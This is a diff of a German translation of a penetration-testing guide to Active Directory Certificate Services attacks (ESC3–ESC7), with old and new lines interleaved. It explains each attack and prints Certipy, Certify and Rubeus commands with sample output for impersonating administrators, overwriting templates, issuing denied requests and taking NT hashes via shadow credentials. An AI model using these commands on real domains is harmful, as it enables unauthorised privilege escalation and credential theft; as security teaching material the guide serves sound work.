**Zertifikat** **im Namen eines anderen Benutzers** zu **beantragen**. -Der **„enrollment agent“** registriert sich in einer solchen **Vorlage** und verwendet das resultierende **Zertifikat, um einen CSR im Namen des anderen Benutzers mitzuunterzeichnen**. Er **sendet** dann den **mitunterzeichneten CSR** an die CA, registriert sich in einer **Vorlage**, die „enroll on behalf of“ erlaubt, und die CA antwortet mit einem **Zertifikat, das dem „anderen“ Benutzer gehört**. +Der **„enrollment agent“** meldet sich für eine solche **Vorlage** an und verwendet das resultierende **Zertifikat, um eine CSR im Namen des anderen Benutzers mitzuunterzeichnen**. Anschließend **sendet** er die **mitunterzeichnete CSR** an die CA, beantragt eine **Vorlage**, die das **„enroll on behalf of“** erlaubt, und die CA antwortet mit einem **Zertifikat, das dem „anderen“ Benutzer gehört**. **Anforderungen 1:** -- Die Enterprise CA gewährt Registrierungsrechte an niedrigprivilegierte Benutzer. -- Die Anforderung für die Genehmigung durch den Manager wird weggelassen. -- Keine Anforderung für autorisierte Unterschriften. -- Der Sicherheitsdescriptor der Zertifikatvorlage ist übermäßig permissiv und gewährt Registrierungsrechte an niedrigprivilegierte Benutzer. -- Die Zertifikatvorlage enthält die Certificate Request Agent EKU, die die Anfrage anderer Zertifikatvorlagen im Namen anderer Principals ermöglicht. +- Die Enterprise CA gewährt niedrig privilegierten Benutzern Registrierungsrechte. +- Die Anforderung einer Manager-Genehmigung wurde weggelassen. +- Keine Anforderung für autorisierte Signaturen. +- Der Sicherheitsdeskriptor der Zertifikatvorlage ist übermäßig permissiv und gewährt niedrig privilegierten Benutzern Registrierungsrechte. +- Die Zertifikatvorlage enthält die Certificate Request Agent EKU, wodurch das Anfordern anderer Zertifikatvorlagen im Namen anderer Principals ermöglicht wird. **Anforderungen 2:** -- Die Enterprise CA gewährt Registrierungsrechte an niedrigprivilegierte Benutzer. -- Die Genehmigung des Managers wird umgangen. -- Die Schema-Version der Vorlage ist entweder 1 oder übersteigt 2, und sie gibt eine Anforderungsrichtlinie für die Anwendungsbereitstellung an, die die Certificate Request Agent EKU erfordert. -- Eine EKU, die in der Zertifikatvorlage definiert ist, erlaubt die Domänenauthentifizierung. +- Die Enterprise CA gewährt niedrig privilegierten Benutzern Registrierungsrechte. +- Die Manager-Genehmigung wird umgangen. +- Die Schema-Version der Vorlage ist entweder 1 oder größer als 2, und sie spezifiziert ein Application Policy Issuance Requirement, das die Certificate Request Agent EKU erfordert. +- Eine in der Zertifikatvorlage definierte EKU erlaubt Domänen-Authentifizierung. - Einschränkungen für Enrollment Agents werden auf der CA nicht angewendet. ### Missbrauch @@ -117,39 +129,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -Die **Benutzer**, die berechtigt sind, ein **Zertifikat für Einschreibungsagenten** zu **erhalten**, die Vorlagen, in denen Einschreibungs-**agenten** berechtigt sind, sich einzuschreiben, und die **Konten**, in deren Namen der Einschreibungsagent handeln kann, können durch Unternehmens-CA eingeschränkt werden. Dies wird erreicht, indem das `certsrc.msc` **Snap-In** geöffnet, **mit der rechten Maustaste auf die CA** geklickt, **Eigenschaften** ausgewählt und dann zum Tab „Einschreibungsagenten“ **navigiert** wird. +Die **Benutzer**, denen es erlaubt ist, ein **Enrollment-Agent-Zertifikat** zu **erhalten**, die Vorlagen, in die sich Enrollment **Agenten** eintragen dürfen, und die **Konten**, in deren Namen der Enrollment-Agent handeln darf, können von Enterprise-CAs eingeschränkt werden. Dies wird erreicht, indem das `certsrc.msc` **snap-in** geöffnet, **mit der rechten Maustaste auf die CA geklickt**, **Properties** ausgewählt und dann zur Registerkarte “Enrollment Agents” navigiert wird. -Es wird jedoch angemerkt, dass die **Standard**-Einstellung für CAs „**Einschreibungsagenten nicht einschränken**“ ist. Wenn die Einschränkung für Einschreibungsagenten von Administratoren aktiviert wird, bleibt die Standardeinstellung extrem permissiv. Sie erlaubt **Jedem** den Zugang zur Einschreibung in alle Vorlagen als beliebige Person. +Es ist jedoch zu beachten, dass die **Standard**einstellung für CAs „**Do not restrict enrollment agents**“ ist. Wenn die Einschränkung der Enrollment-Agenten durch Administratoren aktiviert und auf „Restrict enrollment agents“ gesetzt wird, bleibt die Standardkonfiguration extrem permissiv. Sie erlaubt **Everyone** den Zugriff, in allen Vorlagen im Namen beliebiger Benutzer ein Zertifikat zu beantragen. -## Verwundbare Zertifikatvorlagen-Zugriffskontrolle - ESC4 +## Verwundbare Zugriffssteuerung für Zertifikatvorlagen - ESC4 ### **Erklärung** -Der **Sicherheitsdescriptor** auf **Zertifikatvorlagen** definiert die **Berechtigungen**, die spezifische **AD-Prinzipien** in Bezug auf die Vorlage besitzen. +Der **Sicherheitsdeskriptor** auf **Zertifikatvorlagen** definiert die **Berechtigungen**, die spezifische **AD-Prinzipale** in Bezug auf die Vorlage besitzen. -Sollte ein **Angreifer** die erforderlichen **Berechtigungen** besitzen, um eine **Vorlage** zu **ändern** und alle **ausnutzbaren Fehlkonfigurationen**, die in **vorherigen Abschnitten** beschrieben sind, zu **instituieren**, könnte eine Privilegieneskalation erleichtert werden. +Sollte ein **Angreifer** über die erforderlichen **Berechtigungen** verfügen, eine **Vorlage** zu **ändern** und eine der in vorherigen Abschnitten beschriebenen ausnutzbaren Fehlkonfigurationen **einzuführen**, könnte dies eine Privilegieneskalation ermöglichen. -Bemerkenswerte Berechtigungen, die für Zertifikatvorlagen gelten, sind: +Wesentliche Berechtigungen, die auf Zertifikatvorlagen anwendbar sind, umfassen: -- **Besitzer:** Gewährt implizite Kontrolle über das Objekt, was die Änderung aller Attribute ermöglicht. -- **Vollzugriff:** Ermöglicht vollständige Autorität über das Objekt, einschließlich der Fähigkeit, alle Attribute zu ändern. -- **BesitzerÄndern:** Erlaubt die Änderung des Besitzers des Objekts auf ein Prinzip unter der Kontrolle des Angreifers. -- **DaclÄndern:** Ermöglicht die Anpassung der Zugriffskontrollen, was einem Angreifer möglicherweise Vollzugriff gewährt. -- **EigenschaftÄndern:** Ermächtigt zur Bearbeitung aller Objektattribute. +- **Owner:** Ermöglicht implizite Kontrolle über das Objekt und gestattet die Änderung beliebiger Attribute. +- **FullControl:** Gewährt vollständige Autorität über das Objekt, einschließlich der Möglichkeit, alle Attribute zu ändern. +- **WriteOwner:** Erlaubt die Änderung des Besitzers des Objekts zu einem vom Angreifer kontrollierten Prinzipal. +- **WriteDacl:** Ermöglicht die Anpassung der Zugriffskontrollen, wodurch einem Angreifer ggf. FullControl gewährt werden kann. +- **WriteProperty:** Autorisiert das Bearbeiten beliebiger Objekteigenschaften. ### Missbrauch -Ein Beispiel für eine Privilegieneskalation wie die vorherige: +Um Prinzipsale mit Bearbeitungsrechten an Vorlagen und anderen PKI-Objekten zu identifizieren, mit Certify enumerieren: +```bash +Certify.exe find /showAllPermissions +Certify.exe pkiobjects /domain:corp.local /showAdmins +``` +Ein Beispiel für eine privesc wie das vorherige:
-ESC4 ist, wenn ein Benutzer Schreibberechtigungen über eine Zertifikatvorlage hat. Dies kann beispielsweise missbraucht werden, um die Konfiguration der Zertifikatvorlage zu überschreiben und die Vorlage verwundbar für ESC1 zu machen. +ESC4 ist, wenn ein Benutzer Schreibrechte für eine Zertifikatvorlage hat. Dies kann beispielsweise missbraucht werden, um die Konfiguration der Zertifikatvorlage zu überschreiben und die Vorlage gegenüber ESC1 verwundbar zu machen. -Wie im obigen Pfad zu sehen ist, hat nur `JOHNPC` diese Berechtigungen, aber unser Benutzer `JOHN` hat den neuen `AddKeyCredentialLink`-Edge zu `JOHNPC`. Da diese Technik mit Zertifikaten zusammenhängt, habe ich diesen Angriff ebenfalls implementiert, der als [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) bekannt ist. Hier ist ein kleiner Vorgeschmack auf den `shadow auto`-Befehl von Certipy, um den NT-Hash des Opfers abzurufen. +Wie wir im obigen Pfad sehen können, hat nur `JOHNPC` diese Rechte, aber unser Benutzer `JOHN` hat die neue `AddKeyCredentialLink` edge zu `JOHNPC`. Da diese Technik mit Zertifikaten zusammenhängt, habe ich diesen Angriff ebenfalls implementiert, der als [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) bekannt ist. Hier ein kleiner Vorgeschmack auf Certipy’s `shadow auto`-Befehl, um den NT hash des Opfers zu erhalten. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** kann die Konfiguration einer Zertifikatvorlage mit einem einzigen Befehl überschreiben. Standardmäßig wird Certipy die Konfiguration **überschreiben**, um sie **anfällig für ESC1** zu machen. Wir können auch den **`-save-old` Parameter angeben, um die alte Konfiguration zu speichern**, was nützlich sein wird, um die Konfiguration nach unserem Angriff **wiederherzustellen**. +**Certipy** kann die Konfiguration einer Zertifikatvorlage mit einem einzigen Befehl überschreiben. Standardmäßig wird Certipy die Konfiguration **überschreiben**, um sie **anfällig für ESC1** zu machen. Wir können auch den **`-save-old` Parameter zum Speichern der alten Konfiguration** angeben, was nützlich für das **Wiederherstellen** der Konfiguration nach unserem Angriff ist. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -160,25 +177,25 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## Verwundbare PKI-Objektzugriffssteuerung - ESC5 +## Verwundbare PKI-Objektzugriffskontrolle - ESC5 -### Erklärung +### Erläuterung -Das umfangreiche Netz von miteinander verbundenen, ACL-basierten Beziehungen, das mehrere Objekte über Zertifikatvorlagen und die Zertifizierungsstelle hinaus umfasst, kann die Sicherheit des gesamten AD CS-Systems beeinträchtigen. Diese Objekte, die die Sicherheit erheblich beeinflussen können, umfassen: +Das umfangreiche Netz miteinander verbundener, ACL-basierter Beziehungen, das mehrere Objekte über Certificate Templates und die Certificate Authority hinaus einschließt, kann die Sicherheit des gesamten AD CS-Systems beeinflussen. Diese Objekte, die die Sicherheit erheblich beeinträchtigen können, umfassen: - Das AD-Computerobjekt des CA-Servers, das durch Mechanismen wie S4U2Self oder S4U2Proxy kompromittiert werden kann. - Den RPC/DCOM-Server des CA-Servers. -- Jedes nachfolgende AD-Objekt oder Container innerhalb des spezifischen Containerpfads `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Dieser Pfad umfasst, ist aber nicht beschränkt auf, Container und Objekte wie den Container für Zertifikatvorlagen, den Container für Zertifizierungsstellen, das NTAuthCertificates-Objekt und den Container für Registrierungsdienste. +- Jedes nachgeordnete AD-Objekt oder Container innerhalb des spezifischen Containerpfads `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Dieser Pfad umfasst unter anderem Container und Objekte wie den Certificate Templates container, den Certification Authorities container, das NTAuthCertificates-Objekt und den Enrollment Services Container. -Die Sicherheit des PKI-Systems kann gefährdet sein, wenn es einem niedrig privilegierten Angreifer gelingt, die Kontrolle über eines dieser kritischen Komponenten zu erlangen. +Die Sicherheit des PKI-Systems kann gefährdet sein, wenn ein gering privilegierter Angreifer Kontrolle über eine dieser kritischen Komponenten erlangt. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 -### Erklärung +### Erläuterung -Das im [**CQure Academy-Beitrag**](https://cqureacademy.com/blog/enhanced-key-usage) behandelte Thema berührt auch die Implikationen des **`EDITF_ATTRIBUTESUBJECTALTNAME2`**-Flags, wie von Microsoft dargelegt. Diese Konfiguration, wenn sie auf einer Zertifizierungsstelle (CA) aktiviert ist, erlaubt die Einbeziehung von **benutzerdefinierten Werten** im **subject alternative name** für **jede Anfrage**, einschließlich derjenigen, die aus Active Directory® erstellt werden. Folglich ermöglicht diese Bestimmung einem **Eindringling**, sich über **jede Vorlage** zu registrieren, die für die **Authentifizierung** im Domänenbereich eingerichtet ist—insbesondere solche, die für die Registrierung von **nicht privilegierten** Benutzern offen sind, wie die Standardbenutzervorlage. Infolgedessen kann ein Zertifikat gesichert werden, das es dem Eindringling ermöglicht, sich als Domänenadministrator oder **jede andere aktive Entität** innerhalb der Domäne zu authentifizieren. +Der in dem [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) behandelte Sachverhalt geht auch auf die Auswirkungen des **`EDITF_ATTRIBUTESUBJECTALTNAME2`**-Flags ein, wie Microsoft sie beschreibt. Diese Konfiguration erlaubt es einer Certification Authority (CA), benutzerdefinierte Werte in den **subject alternative name** für **jede Anfrage** aufzunehmen, einschließlich solcher, die aus Active Directory® erstellt werden. Folglich kann ein **Angreifer** sich über **jedes Template** anmelden, das für die Domänen**authentifizierung** konfiguriert ist — insbesondere solche, die die Anmeldung durch **nicht privilegierte** Benutzer zulassen, wie das Standard-User-Template. Dadurch kann ein Zertifikat erlangt werden, das dem Angreifer erlaubt, sich als Domain-Administrator oder als **jede andere aktive Entität** innerhalb der Domäne zu authentifizieren. -**Hinweis**: Der Ansatz zur Hinzufügung von **alternativen Namen** in eine Certificate Signing Request (CSR) über das Argument `-attrib "SAN:"` in `certreq.exe` (als „Name-Wert-Paare“ bezeichnet) stellt einen **Kontrast** zur Ausnutzungsstrategie von SANs in ESC1 dar. Hier liegt der Unterschied darin, **wie Kontoinformationen verkapselt sind**—innerhalb eines Zertifikatsattributs, anstatt einer Erweiterung. +**Hinweis**: Der Ansatz, **alternative names** in eine Certificate Signing Request (CSR) einzufügen, über das `-attrib "SAN:"`-Argument in `certreq.exe` (als „Name-Wert-Paare“ bezeichnet), unterscheidet sich von der Ausnutzungsstrategie von SANs in ESC1. Der Unterschied liegt hier darin, **wie Kontoinformationen gekapselt werden** — in einem Zertifikat-Attribut statt in einer Extension. ### Missbrauch @@ -186,7 +203,7 @@ Um zu überprüfen, ob die Einstellung aktiviert ist, können Organisationen den ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Dieser Vorgang verwendet im Wesentlichen **Remote-Registry-Zugriff**, daher könnte ein alternativer Ansatz sein: +Diese Operation verwendet im Wesentlichen **remote registry access**, daher könnte ein alternativer Ansatz sein: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` @@ -199,39 +216,39 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Um diese Einstellungen zu ändern, vorausgesetzt, man besitzt **Domain-Administrations**rechte oder gleichwertige, kann der folgende Befehl von jedem Arbeitsplatz aus ausgeführt werden: +Um diese Einstellungen zu ändern — vorausgesetzt, man besitzt **Domänen-Administratorrechte** oder ein gleichwertiges Recht — kann der folgende Befehl von jeder Workstation ausgeführt werden: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -Um diese Konfiguration in Ihrer Umgebung zu deaktivieren, kann das Flag mit folgendem Befehl entfernt werden: +Um diese Konfiguration in Ihrer Umgebung zu deaktivieren, kann das flag wie folgt entfernt werden: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Nach den Sicherheitsupdates vom Mai 2022 enthalten neu ausgestellte **Zertifikate** eine **Sicherheits-erweiterung**, die die **`objectSid`-Eigenschaft des Anforderers** integriert. Für ESC1 wird diese SID aus dem angegebenen SAN abgeleitet. Für **ESC6** spiegelt die SID jedoch die **`objectSid` des Anforderers** wider, nicht das SAN.\ -> Um ESC6 auszunutzen, muss das System anfällig für ESC10 (Schwache Zertifikatzuordnungen) sein, das das **SAN über die neue Sicherheits-erweiterung** priorisiert. +> Nach den Security-Updates vom Mai 2022 enthalten neu ausgestellte **Zertifikate** eine **Sicherheitserweiterung**, die die **`objectSid`-Eigenschaft des Antragstellers** einbindet. Bei ESC1 wird diese SID aus dem angegebenen SAN abgeleitet. Bei **ESC6** hingegen spiegelt die SID die **`objectSid` des Antragstellers** wider, nicht das SAN.\ +> Um ESC6 auszunutzen, muss das System für ESC10 (Weak Certificate Mappings) anfällig sein, das die **SAN über die neue Sicherheitserweiterung** priorisiert. -## Verwundbare Zertifizierungsstelle Zugriffssteuerung - ESC7 +## Verwundbare Zugriffskontrolle der Zertifizierungsstelle - ESC7 ### Angriff 1 #### Erklärung -Die Zugriffssteuerung für eine Zertifizierungsstelle wird durch eine Reihe von Berechtigungen aufrechterhalten, die die Aktionen der CA regeln. Diese Berechtigungen können eingesehen werden, indem man `certsrv.msc` aufruft, mit der rechten Maustaste auf eine CA klickt, Eigenschaften auswählt und dann zum Tab Sicherheit navigiert. Darüber hinaus können Berechtigungen mit dem PSPKI-Modul mit Befehlen wie: enumeriert werden. +Die Zugriffskontrolle für eine Zertifizierungsstelle wird durch eine Reihe von Berechtigungen geregelt, die CA-Aktionen steuern. Diese Berechtigungen können eingesehen werden, indem man `certsrv.msc` öffnet, mit der rechten Maustaste auf eine CA klickt, Eigenschaften wählt und dann zur Registerkarte Sicherheit navigiert. Zusätzlich können Berechtigungen mit dem PSPKI-Modul anhand von Befehlen wie folgt aufgelistet werden: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -Dies bietet Einblicke in die primären Rechte, nämlich **`ManageCA`** und **`ManageCertificates`**, die den Rollen des „CA-Administrators“ und des „Zertifikatsmanagers“ entsprechen. +Dies liefert Einblicke in die primären Rechte, nämlich **`ManageCA`** und **`ManageCertificates`**, die jeweils den Rollen „CA-Administrator“ und „Zertifikatsmanager“ entsprechen. #### Missbrauch -Das Vorhandensein von **`ManageCA`**-Rechten auf einer Zertifizierungsstelle ermöglicht es dem Prinzipal, Einstellungen remote mit PSPKI zu manipulieren. Dazu gehört das Umschalten des **`EDITF_ATTRIBUTESUBJECTALTNAME2`**-Flags, um die SAN-Spezifikation in jeder Vorlage zuzulassen, ein kritischer Aspekt der Domain-Eskalation. +Das Besitzen von **`ManageCA`**-Rechten auf einer Certificate Authority ermöglicht dem Principal, Einstellungen remote mit PSPKI zu manipulieren. Dazu gehört das Umschalten des Flags **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, um die Angabe von SAN in beliebigen Templates zu erlauben — ein kritischer Aspekt bei der Domain-Eskalation. -Die Vereinfachung dieses Prozesses ist durch die Verwendung des **Enable-PolicyModuleFlag**-Cmdlets von PSPKI möglich, das Änderungen ohne direkte GUI-Interaktion ermöglicht. +Die Vereinfachung dieses Prozesses ist mittels PSPKI’s **Enable-PolicyModuleFlag** cmdlet möglich, wodurch Änderungen ohne direkte GUI-Interaktion vorgenommen werden können. -Der Besitz von **`ManageCertificates`**-Rechten erleichtert die Genehmigung ausstehender Anfragen und umgeht effektiv die Sicherheitsmaßnahme „Genehmigung durch den CA-Zertifikatsmanager“. +Der Besitz von **`ManageCertificates`**-Rechten ermöglicht die Genehmigung ausstehender Anfragen und umgeht damit effektiv die "CA certificate manager approval"-Sicherung. -Eine Kombination aus **Certify**- und **PSPKI**-Modulen kann verwendet werden, um ein Zertifikat anzufordern, zu genehmigen und herunterzuladen: +Eine Kombination der Module **Certify** und **PSPKI** kann verwendet werden, um ein Zertifikat anzufordern, zu genehmigen und herunterzuladen: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -252,28 +269,28 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 #### Erklärung > [!WARNING] -> Im **vorherigen Angriff** wurden die Berechtigungen **`Manage CA`** verwendet, um das **EDITF_ATTRIBUTESUBJECTALTNAME2**-Flag zu **aktivieren**, um den **ESC6-Angriff** durchzuführen, aber dies hat keine Auswirkungen, bis der CA-Dienst (`CertSvc`) neu gestartet wird. Wenn ein Benutzer das Zugriffsrecht **`Manage CA`** hat, darf der Benutzer auch den **Dienst neu starten**. Es **bedeutet jedoch nicht, dass der Benutzer den Dienst remote neu starten kann**. Darüber hinaus **funktioniert ESC6 möglicherweise nicht sofort** in den meisten gepatchten Umgebungen aufgrund der Sicherheitsupdates von Mai 2022. +> Im **vorherigen Angriff** wurden **`Manage CA`**-Berechtigungen verwendet, um das **EDITF_ATTRIBUTESUBJECTALTNAME2**-Flag zu **aktivieren**, um die **ESC6 attack** auszuführen, aber dies hat keine Wirkung, bis der CA-Dienst (`CertSvc`) neu gestartet wird. Wenn ein Benutzer das Zugriffsrecht `Manage CA` hat, darf der Benutzer außerdem den **Dienst neu starten**. Das bedeutet jedoch **nicht, dass der Benutzer den Dienst remote neu starten kann**. Außerdem könnte **ESC6** in den meisten gepatchten Umgebungen aufgrund der Sicherheitsupdates vom Mai 2022 **nicht ohne Weiteres funktionieren**. -Daher wird hier ein weiterer Angriff vorgestellt. +Daher wird hier ein anderer Angriff vorgestellt. Voraussetzungen: -- Nur **`ManageCA`-Berechtigung** -- **`Manage Certificates`**-Berechtigung (kann von **`ManageCA`** gewährt werden) -- Das Zertifikat-Template **`SubCA`** muss **aktiviert** sein (kann von **`ManageCA`** aktiviert werden) +- Nur die **`ManageCA`**-Berechtigung +- Die **`Manage Certificates`**-Berechtigung (kann von **`ManageCA`** gewährt werden) +- Das Zertifikat-Template **`SubCA`** muss **aktiviert** sein (kann über **`ManageCA`** aktiviert werden) -Die Technik beruht auf der Tatsache, dass Benutzer mit den Zugriffsrechten **`Manage CA`** _und_ **`Manage Certificates`** **fehlgeschlagene Zertifikatsanfragen** **ausstellen** können. Das Zertifikat-Template **`SubCA`** ist **anfällig für ESC1**, aber **nur Administratoren** können sich in das Template einschreiben. Daher kann ein **Benutzer** **beantragen**, sich in die **`SubCA`** einzuschreiben - was **abgelehnt** wird - aber **dann später vom Manager ausgestellt** wird. +Die Technik beruht auf der Tatsache, dass Benutzer mit den Zugriffsrechten `Manage CA` _und_ `Manage Certificates` fehlgeschlagene Zertifikatsanfragen **ausstellen** können. Das Zertifikat-Template **`SubCA`** ist **anfällig für ESC1**, aber **nur Administratoren** können sich für das Template anmelden. Daher kann ein **Benutzer** eine **Anmeldung** zur **`SubCA`** **anfordern** — diese wird **abgelehnt** — aber anschließend vom Manager **ausgestellt** werden. #### Missbrauch -Sie können sich das Zugriffsrecht **`Manage Certificates`** gewähren, indem Sie Ihren Benutzer als neuen Beauftragten hinzufügen. +Sie können sich selbst das Zugriffsrecht **`Manage Certificates`** gewähren, indem Sie Ihren Benutzer als neuen Officer hinzufügen. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -Die **`SubCA`**-Vorlage kann mit dem Parameter `-enable-template` auf der CA **aktiviert** werden. Standardmäßig ist die `SubCA`-Vorlage aktiviert. +Die **`SubCA`**-Vorlage kann auf der CA mit dem Parameter `-enable-template` aktiviert werden. Standardmäßig ist die **`SubCA`**-Vorlage aktiviert. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -285,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Wenn wir die Voraussetzungen für diesen Angriff erfüllt haben, können wir beginnen, **ein Zertifikat basierend auf der `SubCA`-Vorlage anzufordern**. +Wenn wir die Voraussetzungen für diesen Angriff erfüllt haben, können wir damit beginnen, **ein Zertifikat anzufordern, das auf der `SubCA`-Vorlage basiert**. -**Diese Anfrage wird abgelehnt**, aber wir werden den privaten Schlüssel speichern und die Anfrage-ID notieren. +**Diese Anfrage wird abgelehnt**, aber wir speichern den privaten Schlüssel und notieren uns die Request-ID. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -299,14 +316,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Mit unseren **`Manage CA` und `Manage Certificates`** können wir dann **die fehlgeschlagene Zertifikatsanfrage** mit dem `ca` Befehl und dem `-issue-request ` Parameter ausstellen. +Mit unseren **`Manage CA` und `Manage Certificates`** können wir dann **die fehlgeschlagene Zertifikatsanforderung ausstellen**, mit dem Befehl `ca` und dem Parameter `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -Und schließlich können wir **das ausgestellte Zertifikat abrufen** mit dem `req` Befehl und dem `-retrieve ` Parameter. +Und schließlich können wir mit dem `req`-Befehl und dem Parameter `-retrieve ` **das ausgestellte Zertifikat abrufen**. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -318,69 +335,67 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Angriff 3 – Missbrauch der Verwaltung von Zertifikatserweiterungen (SetExtension) +### Angriff 3 – Manage Certificates Extension Abuse (SetExtension) #### Erklärung -Neben den klassischen ESC7-Missbräuchen (Aktivierung von EDITF-Attributen oder Genehmigung ausstehender Anfragen) hat **Certify 2.0** ein brandneues Primitive offenbart, das nur die Rolle *Manage Certificates* (auch bekannt als **Zertifikatsmanager / -beauftragter**) auf der Enterprise CA erfordert. +Zusätzlich zu den klassischen ESC7-Abusen (Aktivieren von EDITF-Attributen oder Genehmigen ausstehender Anfragen) enthüllte **Certify 2.0** eine brandneue Primitive, die nur die *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) Rolle auf der Enterprise CA erfordert. -Die `ICertAdmin::SetExtension` RPC-Methode kann von jedem Prinzipal ausgeführt werden, der *Manage Certificates* hält. Während die Methode traditionell von legitimen CAs verwendet wurde, um Erweiterungen bei **ausstehenden** Anfragen zu aktualisieren, kann ein Angreifer sie missbrauchen, um eine *nicht standardmäßige* Zertifikatserweiterung (zum Beispiel eine benutzerdefinierte *Zertifikatsausstellungsrichtlinie* OID wie `1.1.1.1`) zu einer Anfrage hinzuzufügen, die auf Genehmigung wartet. +Die RPC-Methode `ICertAdmin::SetExtension` kann von jedem Principal ausgeführt werden, der *Manage Certificates* besitzt. Während die Methode traditionell von legitimen CAs verwendet wurde, um Erweiterungen an **ausstehenden** Anfragen zu aktualisieren, kann ein Angreifer sie missbrauchen, um eine **nicht-standardmäßige** Zertifikatserweiterung anzuhängen (zum Beispiel eine benutzerdefinierte *Certificate Issuance Policy* OID wie `1.1.1.1`) an eine Anfrage, die auf Genehmigung wartet. -Da die angezielte Vorlage **keinen Standardwert für diese Erweiterung definiert**, wird die CA den vom Angreifer kontrollierten Wert nicht überschreiben, wenn die Anfrage schließlich ausgestellt wird. Das resultierende Zertifikat enthält daher eine vom Angreifer gewählte Erweiterung, die: +Da die angezielte Vorlage **keinen Standardwert für diese Erweiterung definiert**, wird die CA den vom Angreifer kontrollierten Wert NICHT überschreiben, wenn die Anfrage schließlich ausgestellt wird. Das resultierende Zertifikat enthält daher eine vom Angreifer gewählte Erweiterung, die: -* Die Anforderungen an Anwendungs- / Ausstellungsrichtlinien anderer anfälliger Vorlagen erfüllen kann (was zu einer Privilegieneskalation führt). -* Zusätzliche EKUs oder Richtlinien injizieren kann, die dem Zertifikat unerwartetes Vertrauen in Drittsysteme gewähren. +* Anforderungen an Application / Issuance Policy anderer verwundbarer Vorlagen erfüllen kann (was zu Privilegieneskalation führt). +* Zusätzliche EKUs oder Richtlinien injizieren kann, die dem Zertifikat unerwartetes Vertrauen in Drittanbietersystemen gewähren. -Kurz gesagt, *Manage Certificates* – zuvor als die „weniger mächtige“ Hälfte von ESC7 betrachtet – kann jetzt für vollständige Privilegieneskalation oder langfristige Persistenz genutzt werden, ohne die CA-Konfiguration zu berühren oder das restriktivere Recht *Manage CA* zu benötigen. +Kurz gesagt: *Manage Certificates* – zuvor als der „weniger mächtige“ Teil von ESC7 betrachtet – kann nun für vollständige Privilegieneskalation oder langfristige Persistenz genutzt werden, ohne die CA-Konfiguration zu verändern oder das restriktivere *Manage CA*-Recht zu benötigen. -#### Missbrauch des Primitives mit Certify 2.0 +#### Missbrauch der Primitive mit Certify 2.0 -1. **Reichen Sie eine Zertifikatsanfrage ein, die *ausstehend* bleibt.** Dies kann mit einer Vorlage erzwungen werden, die eine Genehmigung des Managers erfordert: +1. **Reiche eine Zertifikatsanfrage ein, die *ausstehend* bleibt.** Dies kann mit einer Vorlage erzwungen werden, die Manager-Genehmigung erfordert: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval -# Notieren Sie sich die zurückgegebene Anfrage-ID +# Take note of the returned Request ID ``` -2. **Fügen Sie eine benutzerdefinierte Erweiterung zur ausstehenden Anfrage hinzu** mit dem neuen `manage-ca` Befehl: +2. **Hänge eine benutzerdefinierte Erweiterung an die ausstehende Anfrage an** mit dem neuen `manage-ca`-Befehl: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ ---set-extension "1.1.1.1=DER,10,01 01 00 00" # gefälschte Ausstellungsrichtlinien-OID +--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy 